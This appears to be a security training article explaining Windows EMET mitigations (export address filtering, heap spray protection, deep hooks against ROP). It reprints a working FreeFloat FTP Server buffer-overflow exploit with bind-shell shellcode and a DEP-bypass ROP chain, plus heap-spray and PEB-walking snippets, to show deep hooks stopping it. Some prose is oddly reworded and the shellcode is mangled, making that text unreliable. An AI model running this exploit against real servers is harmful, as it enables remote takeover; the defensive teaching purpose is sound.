Windows Exploit Mitigation Technology – Part 2
In Part 1, we explained GS cookies and Safe SEH. If you haven't read that part, it is highly recommended to read it first.
The Enhanced Mitigation Experience Toolkit, or EMET, is rudimentally a shield or a shell that runs over Windows applications and protects them, regardless of how those applications have authentically been coded by their developer, to capitalize on security guards that are built into the Windows operating system. EMET is a wrapper that enables and enforces a set of protections that, when used together, genuinely enhance the security posture of a machine and greatly reduce the chance that exploits can run against your machine and cause any harm—most will simply fail to execute thoroughly. It is particularly auxiliary in guard against exploits that have not yet been patched by a software developer, making it a key implement that should be in your security arsenal.
FREE role-guided training plans
In this article we are going to explain EAF (Export Address Filtering), which prevents shellcode execution. This scenario comes into play if the attacker somehow has managed to bypass the previously mentioned exploit prevention mechanism. This technique will not let the attacker execute some important parts of the shellcode. It is an application-wide protection.
It will inject EMET.dll inside the specified process for protection against shellcode execution.
Shellcodes locate IAT using PEB.ldr. EAF prevents the access to this location. EMET.dll puts a hardware break point on read at PEB.Ldr and catches the exception using a Vectored Exception.
This exception is the first handler, which means it will be called before any other Vectored Exception Handler.
The handler will check if the faulty address is in the range other than loaded modules. In that way, the IAT parsing is prevented by EMET.
The Vectored Exception Handler looks like this:
In order to test it, we can use the following c file that mentions PEB.LDR in the code.
[plain]
__asm
{
mov edx, fs:[edx+0x30] // get a pointer to the PEB
mov edx, [edx+0x0C] // get PEB->Ldr
mov edx, [edx+0x14] // get the first module from the InMemoryOrder module list
}
This code chunk to get InMemoryOrder Module will fail under EAF.
Heap spray protection
The heap spraying technique has been used in browsers for so long now. Heap spraying is basically used to bypass ASLR (address space layout randomization). In this technique, a large chunk of data is allocated to a range where it is easy to predict the address.
If we allocate a large buff, fill it with 0x04 only, and make it reach far beyond address 0x04040404, and after that, if we land at location 0x04040404, the following side effects would take place:
[plain]
MOV EAX,DWORD PTR DS:[ESI] << EAX == 0x04040404
CALL DWORD PTR DS:[EAX+10] << JMP 0x04040404 because [eax + 10] =0x04040404
Other NOP like behaving addresses are:
[plain]
0x05050505 = ADD EAX,5050505 <<< acts as a NOP
0x0c0c0c0c = OR AL, 0C << also acts as a NOP
0x0d0d0d0d = OR EAX,0d0d0d0d
[/plain]
EMET protects against heap spray by allocating memory at these regions and filling them with random data.
Deep hooks
This technique applies for ROP prevention. It prevents ROP attacks on a vulnerable application. The technique is predicated on the key observation that after exploitation it must use ROP code to leverage the attack, and in this process interact with system calls. Examples of such interaction include starting other processes, opening files, etc.
Using this information, we can define a concept of critical function: A critical function is a function by executing which the attacker can modify system behavior, either by making modifications to the recollection or the current process.
Some examples of critical functions include:
1 CreateProcess
2 VirtualProtect, VirtualAlloc, LoadLibrary –
In order to exploit successfully, the ROP Code will require to call at least one critical function from the ROP code. Deep hooks utilize this observation to perform the checks only when one of the critical functions gets called: when a critical function gets called, the opportune checks will be performed to determine if the critical function was called from the ROP code or as a component of mundane program execution.
It is quite important to note that ROPGuard does not contain a hardcoded list of critical functions. Instead, critical functions are defined in ROPGuard's configuration file. In this way, critical functions can be integrated at any time to amend security and even process-categorical critical functions can be integrated. Similarly, critical functions can be abstracted in order to amend the performance of the system.
It is additionally consequential to note that the current prototype bulwarks only the functions in the utilizer mode. To obviate the assailant from bypassing these functions, the same protections could be integrated to the kernel counterparts of the defined critical functions.
In order to demonstrate that, we will use a ROP exploit on sample application protected using deep hooks. For a vulnerable application, we will use FreeFloat FTP Server Buffer Overflow Exploit (DEP Bypass) by blake.
[plain]
http://www.exploit-db.com/exploits/17886/
#!/usr/bin/python
import socket, sys
print "n==============================="
print "Freefloat FTP Server DEP Bypass"
print " Written by Blake "
target = "localhost"
port = int("21")
# 728 bytes for shellcode
#Bind Shell shellcode port 4444
shellcode = ("x31xc9xdbxcdxbbxb3x93x96x9dxb1x56xd9x74x24xf4"
"x5ax31x5ax17x83xeaxfcx03x5ax13x51x66x6ax75x1c"
"x89x93x86x7ex03x76xb7xacx77xf2xeax60xf3x56x07"
"x0bx51x43x9cx79x7ex64x15x37x58x4bxa6xf6x64x07"
"x64x99x18x5axb9x79x20x95xccx78x65xc8x3fx28x3e"
"x86x92xdcx4bxdax2exddx9bx50x0exa5x9exa7xfbx1f"
"xa0xf7x54x14xeaxefxdfx72xcbx0ex33x61x37x58x38"
"x51xc3x5bxe8xa8x2cx6axd4x66x13x42xd9x77x53x65"
"x02x02xafx95xbfx14x74xe7x1bx91x69x4fxefx01x4a"
"x71x3cxd7x19x7dx89x9cx46x62x0cx71xfdx9ex85x74"
"xd2x16xddx52xf6x73x85xfbxafxd9x68x04xafx86xd5"
"xa0xbbx25x01xd2xe1x21xe6xe8x19xb2x60x7bx69x80"
"x2fxd7xe5xa8xb8xf1xf2xcfx92x45x6cx2ex1dxb5xa4"
"xf5x49xe5xdexdcxf1x6ex1fxe0x27x20x4fx4ex98x80"
"x3fx2ex48x68x2axa1xb7x88x55x6bxcex8fx9bx4fx82"
"x67xdex6fx34x2bx57x89x5cxc3x31x01xc9x21x66x9a"
"x6ex5ax4cxb6x27xccxd8xd0xf0xf3xd8xf6x52x58x70"
"x91x20xb2x45x80x36x9fxedxcbx0ex77x67xa2xddxe6"
"x78xefxb6x8bxebx74x47xc2x17x23x10x83xe6x3axf4"
"x39x50x95xebxc0x04xdexa8x1exf5xe1x31xd3x41xc6"
"x21x2dx49x42x16xe1x1cx1cxc0x47xf7xeexbax11xa4"
"xb8x2axe4x86x7ax2dxe9xc2x0cxd1x5bxbbx48xedx53"
"x2bx5dx96x8excbxa2x4dx0bxfbxe8xccx3dx94xb4x84"
"x7cxf9x46x73x42x04xc5x76x3axf3xd5xf2x3fxbfx51"
buffer = "x41" * 230
eip = pack('<L',0x77F6100A) # RETN - shlwapi
rop = "x42" * 8 # compensate
rop += pack('<L',0x5D09382C) # POP EBX, RETN - msvcirt
rop += "xffxffxffxff"
rop += pack('<L',0x77c127e1) # INC EBX, RETN
rop += pack('<L',0x5d093466) # POP EBP, RETN
rop += pack('<L',0x7c8622a4) # SetProcessDEPPolicy
rop += pack('<L',0x5d095470) # POP EDI, RETN
rop += pack('<L',0x5d095471) # RETN
rop += pack('<L',0x5d0913b4) # POP ESI, RETN
rop += pack('<L',0x5d095471) # RETN
nops = "x90" * 10
junk = "x42" * (1000 - len(buffer + eip + rop + nops + shellcode))
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
print "[+] Connecting to %s on port %d" % (target,port)
try:
s.connect((target,port))
s.recv(1024)
print "[+] Sending payload"
s.send("USER " + buffer + eip + rop + nops + shellcode + junk + "rn")
s.close()
print "[+] Exploit successfully sent"
except:
raw_input("[+] Press any key to exitn")
[/plain]
FREE role-guided training plans
After applying deep hooks, the script fails to exploit.